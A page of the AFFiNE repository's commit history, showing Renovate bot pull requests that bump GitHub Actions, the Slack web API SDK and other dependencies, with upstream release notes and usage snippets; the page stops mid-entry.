c59b43034b97f229a712eec6d24cd6db25974798
11431 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
renovate[bot]
|
c59b43034b |
chore: bump up actions/labeler action to v7 (#15409)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [actions/labeler](https://redirect.github.com/actions/labeler) | action | major | `v6` → `v7` | --- ### Release Notes <details> <summary>actions/labeler (actions/labeler)</summary> ### [`v7.0.0`](https://redirect.github.com/actions/labeler/compare/v6.2.0...v7.0.0) [Compare Source](https://redirect.github.com/actions/labeler/compare/v7.0.0...v7.0.0) ### [`v7`](https://redirect.github.com/actions/labeler/compare/v6.2.0...v7.0.0) [Compare Source](https://redirect.github.com/actions/labeler/compare/v6.2.0...v7.0.0) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com> |
||
|
renovate[bot]
|
1f58173800 |
chore: bump up actions/checkout action to v7 (#15408)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [actions/checkout](https://redirect.github.com/actions/checkout) | action | major | `v6` → `v7` | --- ### Release Notes <details> <summary>actions/checkout (actions/checkout)</summary> ### [`v7.0.1`](https://redirect.github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v701) [Compare Source](https://redirect.github.com/actions/checkout/compare/v7.0.0...v7.0.1) - Bump github/codeql-action from 3 to 4 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2475](https://redirect.github.com/actions/checkout/pull/2475) - Bump actions/setup-node from 4 to 6 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2477](https://redirect.github.com/actions/checkout/pull/2477) - Bump docker/build-push-action from 6.5.0 to 7.2.0 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2478](https://redirect.github.com/actions/checkout/pull/2478) - Bump docker/login-action from 3.3.0 to 4.2.0 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2479](https://redirect.github.com/actions/checkout/pull/2479) - Bump actions/checkout from 6 to 7 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2488](https://redirect.github.com/actions/checkout/pull/2488) - Bump actions/upload-artifact from 4 to 7 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2476](https://redirect.github.com/actions/checkout/pull/2476) - eslint 9 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2474](https://redirect.github.com/actions/checkout/pull/2474) - Bump the minor-actions-dependencies group with 2 updates by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2499](https://redirect.github.com/actions/checkout/pull/2499) - skip running unsafe pr check if input is default by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in [#​2518](https://redirect.github.com/actions/checkout/pull/2518) - trim only ascii whitespace for branch by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in [#​2521](https://redirect.github.com/actions/checkout/pull/2521) - escape values passed to --unset by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in [#​2530](https://redirect.github.com/actions/checkout/pull/2530) ### [`v7.0.0`](https://redirect.github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v700) [Compare Source](https://redirect.github.com/actions/checkout/compare/v7.0.0...v7.0.0) - Block checking out fork PR for pull\_request\_target and workflow\_run by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in [#​2454](https://redirect.github.com/actions/checkout/pull/2454) - Bump actions/publish-immutable-action from 0.0.3 to 0.0.4 in the minor-actions-dependencies group across 1 directory by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2458](https://redirect.github.com/actions/checkout/pull/2458) - Bump flatted from 3.3.1 to 3.4.2 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2460](https://redirect.github.com/actions/checkout/pull/2460) - Bump js-yaml from 4.1.0 to 4.2.0 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2461](https://redirect.github.com/actions/checkout/pull/2461) - Bump [@​actions/core](https://redirect.github.com/actions/core) and [@​actions/tool-cache](https://redirect.github.com/actions/tool-cache) and Remove uuid by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2459](https://redirect.github.com/actions/checkout/pull/2459) - upgrade module to esm and update dependencies by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in [#​2463](https://redirect.github.com/actions/checkout/pull/2463) - Bump the minor-npm-dependencies group across 1 directory with 3 updates by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2462](https://redirect.github.com/actions/checkout/pull/2462) ### [`v7`](https://redirect.github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v700) [Compare Source](https://redirect.github.com/actions/checkout/compare/v6.1.0...v7.0.0) - Block checking out fork PR for pull\_request\_target and workflow\_run by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in [#​2454](https://redirect.github.com/actions/checkout/pull/2454) - Bump actions/publish-immutable-action from 0.0.3 to 0.0.4 in the minor-actions-dependencies group across 1 directory by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2458](https://redirect.github.com/actions/checkout/pull/2458) - Bump flatted from 3.3.1 to 3.4.2 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2460](https://redirect.github.com/actions/checkout/pull/2460) - Bump js-yaml from 4.1.0 to 4.2.0 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2461](https://redirect.github.com/actions/checkout/pull/2461) - Bump [@​actions/core](https://redirect.github.com/actions/core) and [@​actions/tool-cache](https://redirect.github.com/actions/tool-cache) and Remove uuid by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2459](https://redirect.github.com/actions/checkout/pull/2459) - upgrade module to esm and update dependencies by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in [#​2463](https://redirect.github.com/actions/checkout/pull/2463) - Bump the minor-npm-dependencies group across 1 directory with 3 updates by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​2462](https://redirect.github.com/actions/checkout/pull/2462) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
a9096311f7 |
chore: bump up actions/cache action to v6 (#15406)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [actions/cache](https://redirect.github.com/actions/cache) | action | major | `v5` → `v6` | --- ### Release Notes <details> <summary>actions/cache (actions/cache)</summary> ### [`v6.1.0`](https://redirect.github.com/actions/cache/releases/tag/v6.1.0) [Compare Source](https://redirect.github.com/actions/cache/compare/v6.0.0...v6.1.0) ##### What's Changed - Bump [@​actions/cache](https://redirect.github.com/actions/cache) to v6.1.0 - handle read-only cache access by [@​jasongin](https://redirect.github.com/jasongin) in [#​1768](https://redirect.github.com/actions/cache/pull/1768) **Full Changelog**: <https://github.com/actions/cache/compare/v6...v6.1.0> ### [`v6.0.0`](https://redirect.github.com/actions/cache/releases/tag/v6.0.0) [Compare Source](https://redirect.github.com/actions/cache/compare/v6.0.0...v6.0.0) #### What's Changed - Update packages, migrate to ESM by [@​Samirat](https://redirect.github.com/Samirat) in [#​1760](https://redirect.github.com/actions/cache/pull/1760) **Full Changelog**: <https://github.com/actions/cache/compare/v5...v6.0.0> ### [`v6`](https://redirect.github.com/actions/cache/compare/v5.0.5...v6.0.0) [Compare Source](https://redirect.github.com/actions/cache/compare/v5.1.0...v6.0.0) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
8df82901ea |
chore: bump up @slack/web-api version to v8 (#15405)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@slack/web-api](https://docs.slack.dev/tools/node-slack-sdk/web-api/) ([source](https://redirect.github.com/slackapi/node-slack-sdk)) | [`^7.15.1` → `^8.0.0`](https://renovatebot.com/diffs/npm/@slack%2fweb-api/7.15.1/8.0.0) |  |  | --- ### Release Notes <details> <summary>slackapi/node-slack-sdk (@​slack/web-api)</summary> ### [`v8.0.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%408.0.0) [Compare Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.19.0...@slack/web-api@8.0.0) ##### Major Changes - [`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c): Drop Node.js 18 support. The minimum supported Node.js version is now 20. - [`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c): Redesigned error handling to use proper `Error` subclasses instead of plain objects with a `code` property. **Migration:** Replace `if (error.code === ErrorCode.PlatformError)` with `if (error instanceof WebAPIPlatformError)`. All error classes extend a common `SlackError` base class (which extends `Error`), so you can also catch all SDK errors with `if (error instanceof SlackError)`. **New error class hierarchy:** - `SlackError` (abstract base) - `WebAPIPlatformError` — Slack API returned `ok: false` - `WebAPIRequestError` — Network/transport failure (original error in `cause`) - `WebAPIHTTPError` — Non-200 HTTP status from Slack - `WebAPIRateLimitedError` — HTTP 429 with `retryAfter` seconds - `WebAPIFileUploadInvalidArgumentsError` — Invalid file upload arguments - `WebAPIFileUploadReadFileDataError` — Failed to read file data for upload **Removed factory functions** (these were internal but exported — use `new` with the corresponding class instead): - `errorWithCode()` - `platformErrorFromResult()` → `new WebAPIPlatformError(...)` - `requestErrorWithOriginal()` → `new WebAPIRequestError(...)` - `httpErrorFromResponse()` → `new WebAPIHTTPError(...)` - `rateLimitedErrorWithDelay()` → `new WebAPIRateLimitedError(...)` **Other breaking type changes:** - `WebAPIHTTPError.headers` type changed from `IncomingHttpHeaders` to `Record<string, string>`. - The `CodedError` interface is deprecated — use `instanceof` checks with specific error classes instead. - Error `.name` values changed from generic `'Error'` to descriptive class names (e.g., `'WebAPIPlatformError'`). - [`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c): Replaced `axios` with the standard Fetch API for all HTTP transport. The following options and types have been removed from `WebClientOptions`: - **`agent`** — Use the new `fetch` option to provide a custom fetch implementation with proxy or keep-alive support. For proxies, prefer the built-in `http.setGlobalProxyFromEnv()` or `NODE_USE_ENV_PROXY=1` (Node.js 24+). For advanced use cases: ```ts import { fetch, Agent } from "undici"; const client = new WebClient(token, { fetch: (url, init) => fetch(url, { ...init, dispatcher: new Agent({ keepAliveTimeout: 60_000 }), }), }); ``` - **`tls`** and **`TLSOptions`** — Configure TLS via a custom `fetch` implementation with an undici `Agent`, or use the `NODE_EXTRA_CA_CERTS` environment variable. - **`requestInterceptor`** and **`RequestInterceptor`** type — Wrap the `fetch` function to intercept or modify requests before they are sent. - **`adapter`** and **`AdapterConfig`** type — Use the `fetch` option instead. - **`RequestConfig`** type (was an alias for Axios' `InternalAxiosRequestConfig`) — Removed entirely. - **`attachOriginalToWebAPIRequestError`** option — Removed. The original error is now always available via the standard `cause` property on `WebAPIRequestError`. The dependencies `axios`, `form-data`, `is-electron`, and `is-stream` have been removed. The default `fetch` implementation is `globalThis.fetch` (available in Node.js 20+). New exported types for custom fetch implementations: `FetchFunction`, `FetchResponse`, `FetchRequestInit`, `FetchHeaders`. - [`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c): Removed previously-deprecated API methods and their associated request/response types: - **`files.upload`** — Use `filesUploadV2` instead (available since v6.7). The `filesUploadV2` method handles the multi-step upload process automatically. - **`rtm.start`** — Use `rtm.connect` instead. The `rtm.start` method was deprecated by Slack in favor of the lighter-weight `rtm.connect`. - **`workflows.stepCompleted`**, **`workflows.stepFailed`**, **`workflows.updateStep`** — These methods supported the retired [Steps from Apps](https://api.slack.com/changelog/2023-08-workflow-steps-from-apps-step-back) feature (deprecated August 2023, retired September 2024). The `workflows.featured.*` and `admin.workflows.*` methods for the current Workflow Builder remain available. ##### Minor Changes - [`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c): feat: expand app manifest types — add `agent_view` and `assistant_view` features, recent agent events (`app_context_changed`, `assistant_thread_started`, `assistant_thread_context_changed`), optional OAuth scopes (`bot_optional`/`user_optional`), and event `metadata_subscriptions` ##### Patch Changes - [`bb49d99`](https://redirect.github.com/slackapi/node-slack-sdk/commit/bb49d99): fix: apply redact() to API response bodies in debug logs and recurse into nested objects, preventing tokens from leaking into logs when debug logging is enabled - Updated dependencies \[[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c)] - Updated dependencies \[[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c)] - [@​slack/logger](https://redirect.github.com/slack/logger)@​5.0.0 - [@​slack/types](https://redirect.github.com/slack/types)@​3.0.0 ### [`v7.19.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.19.0) [Compare Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.18.0...@slack/web-api@7.19.0) ##### Minor Changes - [`a795b86`](https://redirect.github.com/slackapi/node-slack-sdk/commit/a795b86): feat: expand app manifest types — add `agent_view` and `assistant_view` features, recent agent events (`app_context_changed`, `assistant_thread_started`, `assistant_thread_context_changed`), optional OAuth scopes (`bot_optional`/`user_optional`), and event `metadata_subscriptions` ### [`v7.18.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.18.0) [Compare Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.17.0...@slack/web-api@7.18.0) ##### Minor Changes - [`07744de`](https://redirect.github.com/slackapi/node-slack-sdk/commit/07744de): feat: make `thread_ts` optional for `assistant.threads.setSuggestedPrompts` ### [`v7.17.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.17.0) [Compare Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.16.0...@slack/web-api@7.17.0) ##### Minor Changes - [`2085900`](https://redirect.github.com/slackapi/node-slack-sdk/commit/2085900): feat: expose public read-only `ts` getter on `ChatStreamer` for fallback to [`chat.update`](https://docs.slack.dev/reference/methods/chat.update) when a stream expires server-side ```js import { WebClient } from "@​slack/web-api"; const client = new WebClient(process.env.SLACK_BOT_TOKEN); const streamer = client.chatStream({ channel: "C0123456789", thread_ts: "1700000001.123456", recipient_team_id: "T0123456789", recipient_user_id: "U0123456789", }); await streamer.append({ markdown_text: "hello!" }); // streamer.ts is now set after the first flush console.log(streamer.ts); await streamer.stop(); ``` ### [`v7.16.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.16.0) [Compare Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.15.2...@slack/web-api@7.16.0) ##### Minor Changes - [`2814969`](https://redirect.github.com/slackapi/node-slack-sdk/commit/2814969): feat: add `highlight_type` to [`files.completeUploadExternal`](https://docs.slack.dev/reference/methods/files.completeUploadExternal) and [`filesUploadV2`](https://docs.slack.dev/tools/node-slack-sdk/web-api#upload-a-file) for optimistic rendering ```js import { WebClient } from "@​slack/web-api"; const client = new WebClient(process.env.SLACK_BOT_TOKEN); await client.filesUploadV2({ channel_id: "C0123456789", file: "./image.png", filename: "image.png", title: "Image Upload", highlight_type: "png", }); ``` ### [`v7.15.2`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.15.2) [Compare Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.15.1...@slack/web-api@7.15.2) ##### Patch Changes - [`4b6fe3a`](https://redirect.github.com/slackapi/node-slack-sdk/commit/4b6fe3a): feat: add authorship arguments - `icon_emoji`, `icon_url`, and `username` - to the [`assistant.threads.setStatus`](https://docs.slack.dev/reference/methods/assistant.threads.setStatus/) and [`chat.startStream`](https://docs.slack.dev/reference/methods/chat.startStream/) methods - Updated dependencies \[[`4f03ee8`](https://redirect.github.com/slackapi/node-slack-sdk/commit/4f03ee8)] - [@​slack/types](https://redirect.github.com/slack/types)@​2.21.0 </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
c70eb811b9 |
chore: bump up @atlaskit/pragmatic-drag-and-drop-hitbox version to v2 (#15397)
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@atlaskit/pragmatic-drag-and-drop-hitbox](https://atlassian.design/components/pragmatic-drag-and-drop/)
([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop))
| [`^1.1.0` →
`^2.0.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop-hitbox/1.1.0/2.0.0)
|
|
|
---
### Release Notes
<details>
<summary>atlassian/pragmatic-drag-and-drop
(@​atlaskit/pragmatic-drag-and-drop-hitbox)</summary>
###
[`v1.2.0`](
|
||
|
renovate[bot]
|
f0fdc58010 |
chore: bump up @napi-rs/simple-git version to v1 (#15401)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@napi-rs/simple-git](https://redirect.github.com/Brooooooklyn/simple-git) | [`^0.1.22` → `^1.0.0`](https://renovatebot.com/diffs/npm/@napi-rs%2fsimple-git/0.1.22/1.1.0) |  |  | --- ### Release Notes <details> <summary>Brooooooklyn/simple-git (@​napi-rs/simple-git)</summary> ### [`v1.1.0`](https://redirect.github.com/Brooooooklyn/simple-git/releases/tag/v1.1.0) [Compare Source](https://redirect.github.com/Brooooooklyn/simple-git/compare/v1.0.0...v1.1.0) ##### What's Changed - feat: simple-git.napi.rs website (landing + docs + Cloudflare deploy) by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [#​146](https://redirect.github.com/Brooooooklyn/simple-git/pull/146) - fix(deps): update dependency [@​void/md](https://redirect.github.com/void/md) to v0.10.5 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​147](https://redirect.github.com/Brooooooklyn/simple-git/pull/147) - fix(deps): update dependency [@​void/react](https://redirect.github.com/void/react) to v0.10.5 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​148](https://redirect.github.com/Brooooooklyn/simple-git/pull/148) - fix(deps): update dependency void to v0.10.5 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​151](https://redirect.github.com/Brooooooklyn/simple-git/pull/151) - chore(deps): update dorny/paths-filter action to v4 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​150](https://redirect.github.com/Brooooooklyn/simple-git/pull/150) - feat: add `created` (first-add commit) to FileModification by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [#​152](https://redirect.github.com/Brooooooklyn/simple-git/pull/152) - fix(deps): update void to v0.10.6 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​153](https://redirect.github.com/Brooooooklyn/simple-git/pull/153) **Full Changelog**: <https://github.com/Brooooooklyn/simple-git/compare/v1.0.0...v1.1.0> ### [`v1.0.0`](https://redirect.github.com/Brooooooklyn/simple-git/releases/tag/v1.0.0) [Compare Source](https://redirect.github.com/Brooooooklyn/simple-git/compare/v0.1.22...v1.0.0) ##### What's Changed - feat: implement Repository.getFileCreatedDate method with async support by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn) with [@​Copilot](https://redirect.github.com/Copilot) in [#​100](https://redirect.github.com/Brooooooklyn/simple-git/pull/100) - chore(deps): update yarn to v4.9.3 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​101](https://redirect.github.com/Brooooooklyn/simple-git/pull/101) - chore(deps): update yarn to v4.9.4 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​102](https://redirect.github.com/Brooooooklyn/simple-git/pull/102) - chore(deps): update actions/setup-node action to v5 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​103](https://redirect.github.com/Brooooooklyn/simple-git/pull/103) - chore(deps): update yarn to v4.10.1 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​104](https://redirect.github.com/Brooooooklyn/simple-git/pull/104) - chore(deps): update yarn to v4.10.2 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​105](https://redirect.github.com/Brooooooklyn/simple-git/pull/105) - chore(deps): update yarn to v4.10.3 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​106](https://redirect.github.com/Brooooooklyn/simple-git/pull/106) - chore(deps): update actions/setup-node action to v6 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​108](https://redirect.github.com/Brooooooklyn/simple-git/pull/108) - chore(deps): lock file maintenance by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​107](https://redirect.github.com/Brooooooklyn/simple-git/pull/107) - chore(deps): update github artifact actions (major) by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​109](https://redirect.github.com/Brooooooklyn/simple-git/pull/109) - chore(deps): update dependency node to v24 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​110](https://redirect.github.com/Brooooooklyn/simple-git/pull/110) - chore(deps): update cross-platform-actions/action action to v0.30.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​112](https://redirect.github.com/Brooooooklyn/simple-git/pull/112) - chore(deps): update yarn to v4.11.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​113](https://redirect.github.com/Brooooooklyn/simple-git/pull/113) - chore(deps): update yarn to v4.12.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​115](https://redirect.github.com/Brooooooklyn/simple-git/pull/115) - chore(deps): update actions/checkout action to v6 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​114](https://redirect.github.com/Brooooooklyn/simple-git/pull/114) - chore(deps): lock file maintenance by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​111](https://redirect.github.com/Brooooooklyn/simple-git/pull/111) - chore(deps): update actions/cache action to v5 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​116](https://redirect.github.com/Brooooooklyn/simple-git/pull/116) - chore(deps): update github artifact actions (major) by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​117](https://redirect.github.com/Brooooooklyn/simple-git/pull/117) - chore(deps): update cross-platform-actions/action action to v0.31.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​118](https://redirect.github.com/Brooooooklyn/simple-git/pull/118) - chore(deps): update cross-platform-actions/action action to v0.32.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​119](https://redirect.github.com/Brooooooklyn/simple-git/pull/119) - chore(deps): lock file maintenance by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​120](https://redirect.github.com/Brooooooklyn/simple-git/pull/120) - chore(deps): update dependency ava to v7 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​122](https://redirect.github.com/Brooooooklyn/simple-git/pull/122) - chore(deps): update github artifact actions (major) by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​121](https://redirect.github.com/Brooooooklyn/simple-git/pull/121) - chore(deps): lock file maintenance by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​123](https://redirect.github.com/Brooooooklyn/simple-git/pull/123) - chore(deps): update yarn to v4.13.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​124](https://redirect.github.com/Brooooooklyn/simple-git/pull/124) - chore(deps): lock file maintenance by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​125](https://redirect.github.com/Brooooooklyn/simple-git/pull/125) - chore(deps): update cross-platform-actions/action action to v1 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​126](https://redirect.github.com/Brooooooklyn/simple-git/pull/126) - chore(deps): update yarn to v4.14.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​127](https://redirect.github.com/Brooooooklyn/simple-git/pull/127) - chore(deps): update yarn to v4.14.1 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​128](https://redirect.github.com/Brooooooklyn/simple-git/pull/128) - chore(deps): lock file maintenance by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​130](https://redirect.github.com/Brooooooklyn/simple-git/pull/130) - chore(deps): update dependency ava to v8 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​129](https://redirect.github.com/Brooooooklyn/simple-git/pull/129) - chore(deps): update cross-platform-actions/action action to v1.1.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​131](https://redirect.github.com/Brooooooklyn/simple-git/pull/131) - fix(deps): update rust crate git2 to 0.21 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​132](https://redirect.github.com/Brooooooklyn/simple-git/pull/132) - chore(deps): update yarn to v4.15.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​133](https://redirect.github.com/Brooooooklyn/simple-git/pull/133) - chore(deps): update cross-platform-actions/action action to v1.2.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​134](https://redirect.github.com/Brooooooklyn/simple-git/pull/134) - chore(deps): update yarn to v4.16.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​135](https://redirect.github.com/Brooooooklyn/simple-git/pull/135) - chore(deps): update yarn monorepo to v4.17.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​136](https://redirect.github.com/Brooooooklyn/simple-git/pull/136) - chore(deps): update cross-platform-actions/action action to v1.3.0 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​138](https://redirect.github.com/Brooooooklyn/simple-git/pull/138) - fix: adapt to git2 0.21 string accessor API changes by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [#​140](https://redirect.github.com/Brooooooklyn/simple-git/pull/140) - chore(deps): update actions/cache action to v6 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​139](https://redirect.github.com/Brooooooklyn/simple-git/pull/139) - chore(deps): update actions/checkout action to v7 by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​137](https://redirect.github.com/Brooooooklyn/simple-git/pull/137) - feat: file modification metadata (author + bulk) by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [#​141](https://redirect.github.com/Brooooooklyn/simple-git/pull/141) - feat: git feature suite (status, config, push, index/commit, blame, branch/checkout) by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [#​142](https://redirect.github.com/Brooooooklyn/simple-git/pull/142) - chore(deps): lock file maintenance by [@​renovate](https://redirect.github.com/renovate)\[bot] in [#​144](https://redirect.github.com/Brooooooklyn/simple-git/pull/144) - feat!: API 1.0 breaking sweep (number bitflags, Date times, async I/O, fixes) by 